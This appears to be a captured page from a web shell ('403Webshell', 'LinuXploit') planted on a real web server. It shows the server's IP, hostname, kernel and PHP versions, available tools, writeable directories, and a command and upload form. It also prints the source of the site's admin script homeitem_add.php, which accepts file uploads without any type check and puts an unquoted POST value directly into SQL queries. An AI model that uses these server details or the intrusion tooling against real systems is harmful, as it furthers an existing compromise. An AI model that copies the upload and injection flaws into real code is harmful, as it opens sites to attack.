403Webshell
Server IP : 210.245.233.93  /  Your IP : 216.73.216.226
Web Server : Apache/2.2.15 (CentOS)
System : Linux webserver2.onesolution.com.hk 2.6.32-754.35.1.el6.x86_64 #1 SMP Sat Nov 7 12:42:14 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 5.3.3
Disable Function : exec, shell_exec, system, passthru, popen, proc_open, pcntl_exec
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/globavet.com/webadmin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/globavet.com/webadmin/homeitem_add.php
<?php 
require("configure.php");
require("createthumb.php");

$Sort					= $_POST["Sort"];
//$Href					= $_POST["Href"];

$TitleTC	= htmlspecialchars($_POST["TitleTC"],ENT_QUOTES);
$TitleEN	= htmlspecialchars($_POST["TitleEN"],ENT_QUOTES);

$DescTC	= htmlspecialchars($_POST["DescTC"],ENT_QUOTES);
$DescEN	= htmlspecialchars($_POST["DescEN"],ENT_QUOTES);
//$ImageTC;
//$ImageEN;

print_r($_POST);

$sql = "select max(HNewsId) as maxid from HomeNews ";
$result=mysql_query($sql);
$row = mysql_fetch_array($result,MYSQL_ASSOC);
$HNewsId = $row{maxid}+1;

// copy image 
// File 1
if ($_FILES['ImageTC']['name'] <> '')
{
/* 	copy ($_FILES['ImageTC']['tmp_name'], "productimg/".$HNewsId."TC_".$_FILES['ImageTC']['name']) 
		or die ("Could not copy");		 
	$GalleryDetailFileTC = $HNewsId."TC_".$_FILES['ImageTC']['name']; */
	
	move_uploaded_file ($_FILES['ImageTC']['tmp_name'], "photos/".$HNewsId."TC_".$_FILES['ImageTC']['name']) 
		or die ("Could not copy");		 
	$GalleryDetailFileTC = "photos/".$HNewsId."TC_".$_FILES['ImageTC']['name'];
	createthumb($GalleryDetailFileTC, $GalleryDetailFileTC, 170, 170);

}
else
{	
	$GalleryDetailFileTC = "";
}

// copy image 
// File 2
if ($_FILES['ImageEN']['name'] <> '')
{
/* 	copy ($_FILES['ImageEN']['tmp_name'], "productimg/".$HNewsId."EN_".$_FILES['ImageEN']['name']) 
		or die ("Could not copy");		 
	$GalleryDetailFileEN = $HNewsId."EN_".$_FILES['ImageEN']['name']; */

	move_uploaded_file ($_FILES['ImageEN']['tmp_name'], "photos/".$HNewsId."EN_".$_FILES['ImageEN']['name']) 
		or die ("Could not copy");		 
	$GalleryDetailFileEN = "photos/".$HNewsId."EN_".$_FILES['ImageEN']['name'];
	createthumb($GalleryDetailFileEN, $GalleryDetailFileEN, 170, 170);

}
else
{	
	$GalleryDetailFileEN = "";
}

// End upload image code


// Modify 
if ($Sort == '' || $Sort == '0') {
	$sql = "select max(Sort) as maxid from HomeNews ";
	$result=mysql_query($sql);
	$row = mysql_fetch_array($result,MYSQL_ASSOC);
	$Sort = $row{maxid}+1;
}
if( mysql_num_rows(mysql_query("SELECT HNewsId FROM HomeNews WHERE Sort=$Sort ")) > 0){
	mysql_query("UPDATE HomeNews SET Sort= Sort+1 WHERE Sort >=$Sort ");
}

mysql_query("insert into HomeNews (HNewsId, Sort, DescTC, DescEN, TitleTC, TitleEN) 
						values ('$HNewsId', '$Sort', '$DescTC', '$DescEN', '$TitleTC', '$TitleEN')");
	
// update images path						
if ($GalleryDetailFileTC <> '') {
	// Modify 
	$sql = "update HomeNews set ImageTC='$GalleryDetailFileTC' where HNewsId = '$HNewsId' ";
	mysql_query($sql);
}

if( mysql_errno() > 0 ){
	echo 'Home Item Modify Error:<br />'. mysql_error() .'<br />SQL: '. $sql;
	exit;
}

if ($GalleryDetailFileEN <> '') {
	// Modify 
	$sql = "update HomeNews set ImageEN='$GalleryDetailFileEN' where HNewsId = '$HNewsId' ";
	mysql_query($sql);
}

if( mysql_errno() > 0 ){
	echo 'Home Item Modify Error:<br />'. mysql_error() .'<br />SQL: '. $sql;
	exit;
}
						
mysql_close($dbh);

header("Location: homeitem_index.php?msg=Update Successful");
?>

Youez - 2016 - github.com/yon3zu
LinuXploit